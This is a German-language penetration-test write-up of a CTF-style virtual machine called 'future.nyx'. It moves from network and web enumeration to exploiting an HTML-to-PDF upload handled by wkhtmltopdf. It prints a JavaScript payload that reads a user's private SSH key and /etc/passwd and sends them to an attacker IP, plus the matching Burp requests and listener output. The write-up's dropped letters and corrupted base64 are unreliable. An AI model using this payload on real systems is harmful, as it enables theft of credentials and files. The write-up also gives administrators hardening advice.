Die Aufklärungsphase beginnt mit der Identifizierung des Ziels im Netzwerksegment 192.168.2.0/24.
192.168.2.114 08:00:27:f4:bd:97 PCS Systemtechnik GmbH
**Analyse:** Ein ARP-Scan im lokalen Netzwerk identifiziert die IP-Adresse `192.168.2.114`. Die zugehörige MAC-Adresse `08:00:27:f4:bd:97` und der Hersteller "PCS Systemtechnik GmbH" weisen auf eine Oracle VirtualBox VM hin.
**Bewertung:** Ziel-IP bestätigt, Virtualisierungsumgebung wahrscheinlich VirtualBox.
**Empfehlung (Pentester):** Ziel-IP für weitere Scans verwenden. VM-Hinweis kann bei Exploit-Auswahl relevant sein.
**Empfehlung (Admin):** Sicherstellen, dass nur autorisierte Geräte im Netzwerk aktiv sind.
**Analyse:** Die lokale `/etc/hosts`-Datei des Angreifers wird bearbeitet.
**Bewertung:** Standardvorgehen, um einen Hostnamen zuzuweisen.
**Empfehlung (Pentester/Admin):** Keine besondere Aktion erforderlich.
192.168.2.114 future.nyx
**Analyse:** Überprüfung des Eintrags in der `/etc/hosts`-Datei. Der IP `192.168.2.114` wurde der Hostname `future.nyx` zugewiesen.
**Bewertung:** Erleichtert die weitere Enumeration, insbesondere von Webdiensten.
**Empfehlung (Pentester):** Verwenden Sie `future.nyx` in URLs und Scans.
**Empfehlung (Admin):** Korrekte interne DNS-Konfiguration bevorzugen.
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-03 22:27 CEST Nmap scan report for future (fe80a00:27ff:fef4:bd97) Host is up (0.00010s latency). Not shown: 998 closed tcp ports (reset) PRT STATE SERVICE 22/tcp open ssh 80/tcp open http MAC Address: 08:00:27:F4:BD:97 (racle VirtualBox virtual NIC)
**Analyse:** Ein Nmap-Scan wird gegen die IPv6 Link-Local-Adresse des Ziels durchgeführt. Er identifiziert offene TCP-Ports 22 (SSH) und 80 (HTTP).
**Bewertung:** Bestätigt SSH und HTTP als potenzielle Angriffsvektoren über IPv6.
**Empfehlung (Pentester):** Notieren Sie die offenen Ports. Führen Sie detailliertere Scans gegen die IPv4-Adresse durch, um ein vollständiges Bild zu erhalten.
**Empfehlung (Admin):** Stellen Sie sicher, dass IPv6 sicher konfiguriert ist oder deaktivieren Sie es, wenn es nicht benötigt wird.
Untersuchung des Webservers auf Port 80, der über IPv6 als offen identifiziert wurde.
- Nikto v2.5.0 + Target IP: 192.168.2.114 + Target Hostname: future.nyx + Target Port: 80 + Start Time: 2024-09-03 22:25:20 (GMT2) + Server: Apache/2.4.57 (Debian) + /: The anti-clickjacking X-Frame-ptions header is not present. See: [Link: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-ptions | Ziel: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-ptions] + /: The X-Content-Type-ptions header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: [Link: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/ | Ziel: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/] + No CGI Directories found (use '-C all' to force check all possible dirs) + /: Server may leak inodes via ETags, header found with file /, inode: 6bf, size: 614541e742340, mtime: gzip. See: [Link: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418 | Ziel: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418] + PTINS: Allowed HTTP Methods: PTINS, HEAD, GET, PST . + /images/: Directory indexing found. + 7962 requests: 0 error(s) and 5 item(s) reported on remote host + End Time: 2024-09-03 22:25:31 (GMT2) (11 seconds) + 1 host(s) tested
**Analyse:** Ein Nikto-Scan wird gegen den Webserver auf Port 80 (`http://future.nyx`) durchgeführt.
**Bewertung:** Nikto findet mehrere Punkte: * **Server-Version:** Apache/2.4.57 (Debian). Diese Version ist relativ aktuell. * **Fehlende Security Header:** `X-Frame-Options` und `X-Content-Type-Options` fehlen. * **ETag Inode Leak:** Potenzielle Preisgabe von Inode-Nummern (geringes Risiko). * **Erlaubte Methoden:** Ungewöhnliche Methoden `PTINS` und `PST` sind neben `HEAD` und `GET` erlaubt. * **Directory Indexing:** Das Verzeichnis `/images/` erlaubt das Auflisten von Dateien.
**Empfehlung (Pentester):** Untersuchen Sie `/images/` auf interessante Dateien. Prüfen Sie die ungewöhnlichen HTTP-Methoden `PTINS` und `PST`.
**Empfehlung (Admin):** Implementieren Sie die fehlenden Security-Header. Konfigurieren Sie ETags sicher (`FileETag MTime Size`). Deaktivieren Sie unnötige HTTP-Methoden. Deaktivieren Sie Directory Indexing (`Options -Indexes`).
Gobuster Scan [+] Url: http://future.nyx http://future.nyx/index.html (Status: 200) [Size: 1727] http://future.nyx/page.html (Status: 200) [Size: 714] http://future.nyx/images (Status: 301) [Size: 309] [--> http://future.nyx/images/] http://future.nyx/content (Status: 301) [Size: 310] [--> http://future.nyx/content/] http://future.nyx/page.html (Status: 200) [Size: 714] http://future.nyx/assets (Status: 301) [Size: 309] [--> http://future.nyx/assets/] http://future.nyx/process.php (Status: 500) [Size: 0] http://future.nyx/1955.html (Status: 200) [Size: 3808] http://future.nyx/2015.html (Status: 200) [Size: 3786] http://future.nyx/transition (Status: 301) [Size: 313] [--> http://future.nyx/transition/] http://future.nyx/1885.html (Status: 200) [Size: 3869] http://future.nyx/homework.html (Status: 200) [Size: 3318]
**Analyse:** Ein Gobuster-Scan (vermutlich `gobuster dir -u http://future.nyx -w ...`) wurde durchgeführt, um Verzeichnisse und Dateien zu finden.
**Bewertung:** Der Scan findet mehrere HTML-Seiten (mit Jahreszahlen und `page.html`, `homework.html`), verschiedene Verzeichnisse (`images`, `content`, `assets`, `transition`) und die besonders interessante Datei `process.php`, die einen HTTP 500 Internal Server Error zurückgibt. Dies deutet auf ein serverseitiges Skript hin, das möglicherweise fehlerhaft ist oder Eingaben erwartet.
**Empfehlung (Pentester):** Untersuchen Sie die gefundenen HTML-Seiten (insbesondere `homework.html` und `page.html`) auf Hinweise. Analysieren Sie `process.php` genauer, versuchen Sie POST-Anfragen oder verschiedene Parameter.
**Empfehlung (Admin):** Stellen Sie sicher, dass serverseitige Skripte robust sind und Fehler ordnungsgemäß behandeln, ohne interne Informationen preiszugeben. Deaktivieren oder entfernen Sie nicht benötigte Seiten und Skripte.
Web enum: view-source:http://future.nyx/2015.html History It follows Marty McFly and his friend Dr. Emmett "Doc" Brownas they travel from 1985 to 2015 to prevent Marty's son from sabotaging the McFly family's future. When their arch-nemesis Biff Tannen steals Doc's DeLorean time machine and uses it to alter history for his benefit, the duo must return
**Analyse:** Der Quellcode oder sichtbare Text der Seite `2015.html` wird untersucht. Es handelt sich um eine Beschreibung des Films "Zurück in die Zukunft II".
**Bewertung:** Enthält Namen wie "Marty McFly", "Emmett Brown" ("Doc"), "Biff Tannen". Diese könnten potenzielle Benutzernamen oder Hinweise für Passwörter sein.
**Empfehlung (Pentester):** Notieren Sie die Namen für mögliche Brute-Force-Versuche oder als Teil von Wortlisten für das Knacken von Passphrasen/Passwörtern.
**Empfehlung (Admin):** Vermeiden Sie die Verwendung von leicht zu erratenden Namen oder Begriffen aus der Popkultur in Benutzernamen oder Passwörtern.
ERRR pening: http://future.nyx - Connection refused - connect(2) for "" port 80
ERRR pening: http://future.nyx - Connection refused - connect(2) for "" port 80
**Analyse:** Zwei Versuche, `whatweb` (ein Tool zur Identifizierung von Web-Technologien) mit unterschiedlichen Aggressivitätsleveln (`-a 3`, `-a 1`) gegen `http://future.nyx` auszuführen.
**Bewertung:** Beide Versuche schlagen mit "Connection refused" fehl. Dies ist unerwartet, da andere Tools (Nmap, Nikto, Gobuster, Browser) den Webserver erfolgreich erreichen konnten. Möglicherweise liegt ein Konfigurationsproblem mit `whatweb` auf dem Angreifersystem vor oder eine temporäre Störung.
**Empfehlung (Pentester):** Ignorieren Sie dieses Ergebnis vorerst, da andere Tools funktionieren. Konzentrieren Sie sich auf die Ergebnisse von Nikto, Gobuster und Nuclei.
**Empfehlung (Admin):** Keine Aktion erforderlich, da das Problem wahrscheinlich beim Angreifer-Tool liegt.
Target URL: http://future.nyx/ Detected technologies: - Debian - Apache HTTP Server 2.4.57
**Analyse:** Das Tool `webtech` wird verwendet, um Technologien auf `http://future.nyx/` zu erkennen.
**Bewertung:** Bestätigt Debian und Apache 2.4.57, was mit den Nmap- und Nikto-Ergebnissen übereinstimmt.
**Empfehlung (Pentester/Admin):** Keine neuen Informationen.
____ __ _______/ /__ (_) / __ \/ / / / ___/ / _ \/ / / / / / /_/ / /__/ / __/ / /_/ /_/\__,_/\___/_/\___/_/ v2.9.15 projectdiscovery.io [WRN] Found 480 templates with syntax error (use -validate flag for further examination) [INF] Current nuclei version: v2.9.15 (outdated) [INF] Current nuclei-templates version: v9.9.4 (latest) [INF] New templates added in latest release: 59 [INF] Templates loaded for current scan: 8201 [INF] Targets loaded for current scan: 1 [INF] Templates clustered: 1591 (Reduced 1484 Requests) [caa-fingerprint] [dns] [info] future.nyx [INF] Using Interactsh Server: oast.fun [options-method] [http] [info] http://future.nyx/ [PTINS,HEAD,GET,PST] [apache-detect] [http] [info] http://future.nyx/ [Apache/2.4.57 (Debian)] [http-missing-security-headers:permissions-policy] [http] [info] http://future.nyx/ [http-missing-security-headers:x-frame-options] [http] [info] http://future.nyx/ [http-missing-security-headers:x-content-type-options] [http] [info] http://future.nyx/ [http-missing-security-headers:x-permitted-cross-domain-policies] [http] [info] http://future.nyx/ [http-missing-security-headers:referrer-policy] [http] [info] http://future.nyx/ [http-missing-security-headers:clear-site-data] [http] [info] http://future.nyx/ [http-missing-security-headers:cross-origin-embedder-policy] [http] [info] http://future.nyx/ [http-missing-security-headers:cross-origin-opener-policy] [http] [info] http://future.nyx/ [http-missing-security-headers:strict-transport-security] [http] [info] http://future.nyx/ [http-missing-security-headers:content-security-policy] [http] [info] http://future.nyx/ [http-missing-security-headers:cross-origin-resource-policy] [http] [info] http://future.nyx/ [waf-detect:apachegeneric] [http] [info] http://future.nyx/ [openssh-detect] [tcp] [info] future.nyx:22 [SSH-2.0-penSSH_9.2p1 Debian-2+deb12u2]
**Analyse:** Der Schwachstellen-Scanner `nuclei` wird gegen das Ziel ausgeführt.
**Bewertung:** Nuclei bestätigt viele der bereits bekannten Informationen: * Erlaubte HTTP-Methoden (inkl. `PTINS`, `PST`). * Apache-Version. * Eine lange Liste fehlender sicherheitsrelevanter HTTP-Header. * Keine offensichtliche Web Application Firewall (WAF) erkannt, außer generischem Apache. * OpenSSH-Version auf Port 22 (OpenSSH 9.2p1 - relativ aktuell). Es findet keine spezifischen Exploits, liefert aber eine gute Zusammenfassung der Konfigurationsmängel.
**Empfehlung (Pentester):** Nutzen Sie die Liste der fehlenden Header als Bestätigung für die Empfehlungen. Die SSH-Version ist nützlich für spätere Schritte.
**Empfehlung (Admin):** Implementieren Sie die lange Liste der fehlenden Security-Header, um die Sicherheit der Webanwendung zu erhöhen (Clickjacking-Schutz, MIME-Type-Sniffing-Schutz, CSP, HSTS etc.).
GET http://future.nyx/process.php
Status 500 Internal Server Error VersionHTTP/1
Content-Type text/html; charset=UTF-8
Date Tue, 03 Sep 2024 22:52:38 GMT
Server Apache/2.4.57 (Debian)
Accept text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Host future.nyx
User-Agent Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
**Analyse:** Details einer GET-Anfrage an `/process.php`, die mit einem HTTP 500 Fehler antwortet.
**Bewertung:** Bestätigt den Fehler bei direktem GET-Zugriff auf `process.php`. Dies deutet darauf hin, dass das Skript wahrscheinlich eine POST-Anfrage oder spezifische Parameter erwartet.
**Empfehlung (Pentester):** Analysieren Sie die Formulare oder JavaScript-Aufrufe, die zu `process.php` führen (insbesondere von `homework.html`).
**Empfehlung (Admin):** Fehlerbehandlung verbessern, keine 500er-Fehler ohne spezifische Fehlerseite oder Logging anzeigen.
Exfiltration via Blind SSRF view-source:http://future.nyx/page.html Exfiltration via Blind SSRFvar readfile = new XMLHttpRequest(); // Read the local file var exfil = new XMLHttpRequest(); // Send the file to our server readfile.open("GET","file:///home/marty.mcfly/.ssh/id_rsa", true); readfile.send(); readfile.onload = function() { if (readfile.readyState = 4) { var url = 'http://192.168.1.45:4444/?data='+btoa(this.response); exfil.open("GET", url, true); exfil.send(); } } readfile.onerror = function(){document.write('ops!');}
**Analyse:** Im Quellcode von `page.html` wird ein JavaScript-Snippet gefunden. Dieses Snippet versucht, die lokale Datei `/home/marty.mcfly/.ssh/id_rsa` mittels `XMLHttpRequest` zu lesen und deren Inhalt Base64-kodiert an einen externen Server (`http://192.168.1.45:4444`) zu senden. Die Beschreibung "Exfiltration via Blind SSRF" ist irreführend, da dies clientseitiger JavaScript-Code ist.
**Bewertung:** Dies ist ein **kritischer Fund**. Es deutet stark darauf hin, dass: 1. Es einen Benutzer `marty.mcfly` gibt. 2. Dessen privater SSH-Schlüssel unter `/home/marty.mcfly/.ssh/id_rsa` liegt. 3. Es eine Möglichkeit geben muss, diesen JavaScript-Code im Kontext des Servers oder einer serverseitigen Komponente auszuführen, die auf lokale Dateien zugreifen kann (wahrscheinlich über die `process.php` und die HTML-zu-PDF-Konvertierung, wie sich später herausstellt). Die IP `192.168.1.45` scheint eine veraltete Angreifer-IP zu sein.
**Empfehlung (Pentester):** Modifizieren Sie dieses JavaScript: Ändern Sie die Ziel-IP auf Ihre aktuelle Angreifer-IP (`192.168.2.199` in diesem Fall). Betten Sie das modifizierte Skript in eine HTML-Datei ein und laden Sie diese über die Funktion in `homework.html` (die `process.php` verwendet) hoch. Starten Sie einen Listener auf Port 4444.
**Empfehlung (Admin):** Entfernen Sie diesen Code aus `page.html`. Untersuchen Sie `process.php` auf die SSRF/Code-Execution-Schwachstelle.
Der Plan ist nun, die vermutete Schwachstelle in `process.php` auszunutzen. Diese scheint eine HTML-Datei zu verarbeiten (möglicherweise Konvertierung zu PDF) und dabei eingebettetes JavaScript auszuführen. Wir erstellen eine HTML-Datei mit modifiziertem JavaScript, um den SSH-Schlüssel von `marty.mcfly` zu exfiltrieren.
**Kurzbeschreibung:** Das Skript `/process.php` akzeptiert den Upload von HTML-Dateien (wie auf `homework.html` zu sehen). Serverseitig wird die hochgeladene HTML-Datei verarbeitet, vermutlich durch ein Tool wie `wkhtmltopdf` zur PDF-Konvertierung. Diese Verarbeitungskomponente ist anfällig für Server-Side Request Forgery (SSRF) und führt eingebettetes JavaScript aus. Durch das Hochladen einer präparierten HTML-Datei, die JavaScript zum Lesen lokaler Dateien (`file://...`) und Senden der Daten an einen externen Server enthält, können sensible Dateien (wie private SSH-Schlüssel) exfiltriert werden.
**Voraussetzungen:**
**Schritt 1: Starten des Listeners und Vorbereiten des Payloads**
Ein Listener wird gestartet, um die exfiltrierten Daten aufzufangen. Eine HTML-Datei (`ssrf.html`) wird mit dem JavaScript-Payload vorbereitet (Details siehe folgende Schritte).
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode listening on eth0, link-type EN10MB (Ethernet), snapshot length 262144 bytes
**Analyse:** `tcpdump` wird gestartet, um den Netzwerkverkehr auf Port 4444 zu überwachen und anzuzeigen. `-A` zeigt den Paketinhalt als ASCII an, `-n` verhindert Namensauflösung, `-i eth0` gibt die Netzwerkschnittstelle an.
**Bewertung:** Dies dient dazu, die eingehenden Anfragen vom Zielserver zu sehen, die durch die SSRF ausgelöst werden. Alternativ hätte hier auch `nc -lvnp 4444` verwendet werden können.
**Empfehlung (Pentester):** `tcpdump` ist gut zur Analyse, aber `netcat` ist oft praktischer, um die reinen Daten zu empfangen.
**Empfehlung (Admin):** Netzwerk-Monitoring kann helfen, solche Exfiltrationsversuche zu erkennen.
**Schritt 2: Testen der Verarbeitungsfunktion und Identifizieren der SSRF**
Verschiedene Versuche werden mit Burp Suite unternommen, um zu verstehen, wie `process.php` funktioniert.
Burpsuite
Request
http://future.nyx/homework.html
PST /process.php HTTP/1.1
Host: future.nyx
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=162080125831529551633212641847
Content-Length: 1006
rigin: http://future.nyx
DNT: 1
Connection: keep-alive
Referer: http://future.nyx/homework.html
Upgrade-Insecure-Requests: 1
Sec-GPC: 1
--162080125831529551633212641847
Content-Disposition: form-data; name="htmlFile"; filename="extensions_php_bypass.txt"
Content-Type: text/plain
phtml
php
php3
php4
php5
inc
--162080125831529551633212641847--
Response:
HTTP/1.1 200 K
Date: Tue, 03 Sep 2024 23:22:40 GMT
Server: Apache/2.4.57 (Debian)
Content-Length: 64
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Error: The uploaded file is not a valid HTML file. Error code: 0
**Analyse:** Eine POST-Anfrage an `/process.php` sendet eine Datei mit PHP-Endungen als `htmlFile`. Der Server antwortet mit einem Fehler, dass die Datei keine gültige HTML-Datei sei.
**Bewertung:** Bestätigt, dass `process.php` eine HTML-Datei im Parameter `htmlFile` erwartet.
**Empfehlung (Pentester):** Senden Sie eine gültige, wenn auch einfache, HTML-Datei.
**Empfehlung (Admin):** Implementieren Sie serverseitig eine strikte Validierung der hochgeladenen Dateitypen und Inhalte.
http://future.nyx/process.php Error: The uploaded file is not a valid HTML file. Error code: 0 Request: GET /process.php?htmlFile=file:///home/marty.mcfly/.ssh/id_rsa HTTP/1.1 Host: future.nyx Response: HTTP/1.0 500 Internal Server Error Date: Tue, 03 Sep 2024 23:27:22 GMT Server: Apache/2.4.57 (Debian)
**Analyse:** Ein Versuch, die Schwachstelle über eine GET-Anfrage mit dem Parameter `htmlFile` und einem `file://`-Protokollhandler auszunutzen.
**Bewertung:** Führt zu einem HTTP 500 Fehler. Bestätigt, dass die Verarbeitung über eine POST-Anfrage mit Dateiupload erfolgen muss.
**Empfehlung (Pentester):** Verwenden Sie den POST-Upload-Mechanismus.
**Empfehlung (Admin):** Keine Aktion direkt hieraus, aber die Fehlerbehandlung sollte verbessert werden.
nummer 1
**Analyse:** Eine lokale HTML-Datei `ssrf.html` wird erstellt oder bearbeitet. Der Inhalt scheint zunächst nur "nummer 1" zu sein.
**Bewertung:** Vorbereitung der Payload-Datei.
**Empfehlung (Pentester):** Fügen Sie den SSRF-Test-Payload (z.B. ``) oder den JavaScript-Exfiltrations-Payload hinzu.
**Empfehlung (Admin):** Keine Aktion.
Request: PST /process.php HTTP/1.1 Host: future.nyx User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: de,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate, br Content-Type: multipart/form-data; boundary=30788551032390446223954500854 Content-Length: 436 rigin: http://future.nyx DNT: 1 Connection: keep-alive Referer: http://future.nyx/homework.html Upgrade-Insecure-Requests: 1 Sec-GPC: 1 --30788551032390446223954500854 Content-Disposition: form-data; name="htmlFile"; filename="ssrf.html" Content-Type: text/html :Response: nummer 1 --30788551032390446223954500854-- Request: POST /process.php HTTP/1.1 file:///home/marty.mcfly/.ssh/id_rsa >nummer 1 img src="http://192.168.2.199:4444" Response: HTTP/1.1 200 K Date: Tue, 03 Sep 2024 23:32:13 GMT Server: Apache/2.4.57 (Debian) Content-Length: 48 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Error: PDF file does not exist after conversion.
**Analyse:** Eine POST-Anfrage lädt die `ssrf.html` hoch. Obwohl der Inhalt der hochgeladenen Datei nicht exakt gezeigt wird, deuten die Notizen darauf hin, dass sie ein `` Tag enthält. Die Antwort des Servers lautet "Error: PDF file does not exist after conversion."
**Bewertung:** Dies ist der entscheidende Schritt zur Bestätigung der SSRF und des Verarbeitungsmechanismus. Obwohl ein Fehler gemeldet wird (die PDF-Konvertierung schlägt vielleicht fehl oder wird abgebrochen), löst der Versuch, das Bild von `http://192.168.2.199:4444` zu laden, die SSRF aus. Der Fehler "PDF file does not exist after conversion" bestätigt stark die Vermutung, dass eine HTML-zu-PDF-Konvertierung stattfindet.
**Empfehlung (Pentester):** Überprüfen Sie den Listener (Netcat/tcpdump) auf die eingehende Anfrage, die durch das ``-Tag ausgelöst wurde.
**Empfehlung (Admin):** Deaktivieren Sie die Funktionalität in `process.php` oder stellen Sie sicher, dass die HTML-zu-PDF-Komponente sicher konfiguriert ist (z.B. keine externen Anfragen erlaubt, keine lokalen Dateizugriffe, kein JavaScript ausgeführt).
listening on [any] 4444 ... connect to [192.168.2.199] from (UNKNWN) [192.168.2.114] 54238 GET / HTTP/1.1 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/534.34 (KHTML, like Gecko) wkhtmltopdf Safari/534.34 Accept: */* Connection: Keep-Alive Accept-Encoding: gzip Accept-Language: en,* Host: 192.168.2.199:4444
**Analyse:** Der Netcat-Listener empfängt eine GET-Anfrage von der IP des Zielservers (`192.168.2.114`).
**Bewertung:** **SSRF bestätigt!** Der `User-Agent` Header (`... wkhtmltopdf ...`) identifiziert eindeutig das Tool, das serverseitig die HTML verarbeitet und die SSRF ausgelöst hat. Der Server hat versucht, das im ``-Tag angegebene Bild zu laden.
**Empfehlung (Pentester):** Jetzt kann der Exploit zur Exfiltration des SSH-Schlüssels durchgeführt werden.
**Empfehlung (Admin):** `wkhtmltopdf` ist bekannt für SSRF und LFI. Konfigurieren Sie es sicher oder ersetzen Sie es durch eine sicherere Alternative.
**Schritt 3: Exfiltrieren von /etc/passwd (Test)**
Die `ssrf.html` wird nun mit dem JavaScript-Payload bestückt, um `/etc/passwd` zu lesen und zu senden.
Request: --30788551032390446223954500854 Content-Disposition: form-data; name="htmlFile"; filename="ssrf.html" Content-Type: text/htmlExfiltration via Blind SSRF
:Response:
**Analyse:** Der Inhalt der hochgeladenen `ssrf.html` wird gezeigt. Sie enthält nun das modifizierte JavaScript, das `file:///etc/passwd` liest und an `http://192.168.2.199:4444` sendet.
**Bewertung:** Dies ist der vorbereitete Payload, um die LFI-Fähigkeit der serverseitigen JavaScript-Ausführung zu testen.
**Empfehlung (Pentester):** Senden Sie diesen POST-Request an `/process.php` und beobachten Sie den Listener.
**Empfehlung (Admin):** Keine Aktion.
listening on [any] 4444 ... connect to [192.168.2.199] from (UNKNWN) [192.168.2.114] 50298 GET /?data=cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Ivc2JpbjovdXNyL3NiaW4vbm9sb2dpbgpiaW46eDoyOjI6YmluOi9iaW46L3Vzci9zYmluL25vbG9naW4Kc3lzO[...]K HTTP/1.1 rigin: file:// User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/534.34 (KHTML, like Gecko) wkhtmltopdf Safari/534.34 Accept: */* Connection: Keep-Alive Accept-Encoding: gzip Accept-Language: en,* Host: 192.168.2.199:4444
[Link: https://cyberchef.org/#recipe=From_Base64('A-Za-z0-9%2B/%3D',true,false)&input=Y205dmREcDRPakE2TURweWIyTBPaTl5YjI5ME9pWlhVzR2WW1GemFBcGtZV1Z0YjI0NmVEb3hPakU2WkdGbGJXXVPaTkxYzNJdmMySnBiam92ZFheUwzTmlhVzR2Ym05c2IyZHBiZ3BpYVc0NmVEb3lPakk2WW1sdU9pWlhVzQ2TDNWemNpXpZbWx1TDI1dmJHW5hVzRLYzNsek9uZzZNem96T25NWN6b3ZaR1YyT2k5MWMzSXZjMkpwYmk5dWIyeHZaMmx1Q25NWJtTTZlRG8wT2pZMU5UTTBPbk41Ym1NNkwySnBiam92WW1sdUwzTjVibU1LWjJGdFpYTTZlRG8xT2pZd09tZGhiV1Z6T2k5MWMzSXZaMkZ0WlhNNkwzVnpjaTl6WW1sdUwyNXZiRzluYVc0S2JXRnVPbmc2TmpveE1qcHRZVzQ2TDNaaGNpWpZV05vWlM5dFlXNDZMM1Z6Y2k5elltbHVMMjV2Ykc5bmFXNEtiSEE2ZURvM09qYzZiSEE2TDNaaGNpXpjRzl2YkM5c2NHUTZMM1Z6Y2k5elltbHVMMjV2Ykc5bmFXNEtiV0ZwYkRwNE9qZzZPRHB0WVdsc09pTJZWEl2YldGcGJEb3ZkWE55TDNaWFXNHZibTlzYjJkcGJncHVaWGR6T25nNk9UbzVPbTVsZDNNNkwzWmhjaTl6Y0c5dmJDXVaWGR6T2k5MWMzSXZjMkpwYmk5dWIyeHZaMmx1Q25WMVkzQTZlRG94TURveE1EcDFkV053T2k5MllYSXZjM0J2YjJ3dmRYVmpjRG92ZFheUwzTmlhVzR2Ym05c2IyZHBiZ3B3Y205NGVUcDRPakV6T2pFek9uQnliM2g1T2k5aWFXNDZMM1Z6Y2k5elltbHVMMjV2Ykc5bmFXNEtkM2QzTFdSaGRHRTZlRG96TXpvek16cDNkM2N0WkdGMFlUb3ZkbUZ5TDNkM2R6b3ZkWE55TDNaWFXNHZibTlzYjJkcGJncGlZV05yZFhBNmVEb3pRG96TkRwaVlXTnJkWEE2TDNaaGNpWlZV05yZFhCek9pTFjM0l2YzJKcGJpXViMnh2WjJsdUNteHBjM1E2ZURvek9Eb3pPRHBWVdsc2FXNW5JRXhwYzNRZ1RXRnVZV2RsY2pvdmRtRnlMMnhwYzNRNkwzVnpjaTl6WW1sdUwyNXZiRzluYVc0S2FYSmpPbmc2TXprNk16azZhWEpqWkRvdmNuVnVMMmx5WTJRNkwzVnpjaTl6WW1sdUwyNXZiRzluYVc0S1gyRndkRHA0T2pReU9qWTFVE0wT2pvdmJtXVaWGhwYzNSbGJuUTZMM1Z6Y2k5elltbHVMMjV2Ykc5bmFXNEtibTlpYjJSNU9uZzZalUxTXpRNk5qVTFNelE2Ym05aWIyUjVPaTl1YjI1bGVHbHpkR1Z1ZERvdmRYTnlMM05pYVc0dmJtXNiMmRwYmdwemVYTjBaVzFrTFc1bGRIZHZjbXM2ZURvNU9UZzZPVGs0T25NWMzUmxiV1FnVG1WMGQyXlheUJWVc1aFoyVnRaVzUwT2k4NkwzVnpjaTl6WW1sdUwyNXZiRzluYVc0S2JXVnpjMkZuWldKMWN6cDRPakV3TURveE1EYzZPaTl1YjI1bGVHbHpkR1Z1ZERvdmRYTnlMM05pYVc0dmJtXNiMmRwYmdwemMyaGtPbmc2TVRBeE9qWTFVE0wT2pvdmNuVnVMM056YUdRNkwzVnpjaTl6WW1sdUwyNXZiRzluYVc0S2JXRnlkSGt1YldbWJIazZlRG94TURBd09qRXdNREE2T2k5b2IyMWxMMjFoY25SNUxtMWpabXg1T2k5aWFXNHZZbUZ6YUFwbGJXMWxkSFF1WW5KdmQyNDZlRG94TURBeE9qRXdNREU2T2k5b2IyMWxMMlZ0YldWMGRDNWljbTkzYmpvdlltbHVMMkpoYzJnSw | Ziel: https://cyberchef.org/#recipe=From_Base64('A-Za-z0-9%2B/%3D',true,false)&input=Y205dmREcDRPakE2TURweWIyTBPaTl5YjI5ME9pWlhVzR2WW1GemFBcGtZV1Z0YjI0NmVEb3hPakU2WkdGbGJXXVPaTkxYzNJdmMySnBiam92ZFheUwzTmlhVzR2Ym05c2IyZHBiZ3BpYVc0NmVEb3lPakk2WW1sdU9pWlhVzQ2TDNWemNpXpZbWx1TDI1dmJHW5hVzRLYzNsek9uZzZNem96T25NWN6b3ZaR1YyT2k5MWMzSXZjMkpwYmk5dWIyeHZaMmx1Q25NWJtTTZlRG8wT2pZMU5UTTBPbk41Ym1NNkwySnBiam92WW1sdUwzTjVibU1LWjJGdFpYTTZlRG8xT2pZd09tZGhiV1Z6T2k5MWMzSXZaMkZ0WlhNNkwzVnpjaTl6WW1sdUwyNXZiRzluYVc0S2JXRnVPbmc2TmpveE1qcHRZVzQ2TDNaaGNpWpZV05vWlM5dFlXNDZMM1Z6Y2k5elltbHVMMjV2Ykc5bmFXNEtiSEE2ZURvM09qYzZiSEE2TDNaaGNpXpjRzl2YkM5c2NHUTZMM1Z6Y2k5elltbHVMMjV2Ykc5bmFXNEtiV0ZwYkRwNE9qZzZPRHB0WVdsc09pTJZWEl2YldGcGJEb3ZkWE55TDNaWFXNHZibTlzYjJkcGJncHVaWGR6T25nNk9UbzVPbTVsZDNNNkwzWmhjaTl6Y0c5dmJDXVaWGR6T2k5MWMzSXZjMkpwYmk5dWIyeHZaMmx1Q25WMVkzQTZlRG94TURveE1EcDFkV053T2k5MllYSXZjM0J2YjJ3dmRYVmpjRG92ZFheUwzTmlhVzR2Ym05c2IyZHBiZ3B3Y205NGVUcDRPakV6T2pFek9uQnliM2g1T2k5aWFXNDZMM1Z6Y2k5elltbHVMMjV2Ykc5bmFXNEtkM2QzTFdSaGRHRTZlRG96TXpvek16cDNkM2N0WkdGMFlUb3ZkbUZ5TDNkM2R6b3ZkWE55TDNaWFXNHZibTlzYjJkcGJncGlZV05yZFhBNmVEb3pRG96TkRwaVlXTnJkWEE2TDNaaGNpWlZV05yZFhCek9pTFjM0l2YzJKcGJpXViMnh2WjJsdUNteHBjM1E2ZURvek9Eb3pPRHBWVdsc2FXNW5JRXhwYzNRZ1RXRnVZV2RsY2pvdmRtRnlMMnhwYzNRNkwzVnpjaTl6WW1sdUwyNXZiRzluYVc0S2FYSmpPbmc2TXprNk16azZhWEpqWkRvdmNuVnVMMmx5WTJRNkwzVnpjaTl6WW1sdUwyNXZiRzluYVc0S1gyRndkRHA0T2pReU9qWTFVE0wT2pvdmJtXVaWGhwYzNSbGJuUTZMM1Z6Y2k5elltbHVMMjV2Ykc5b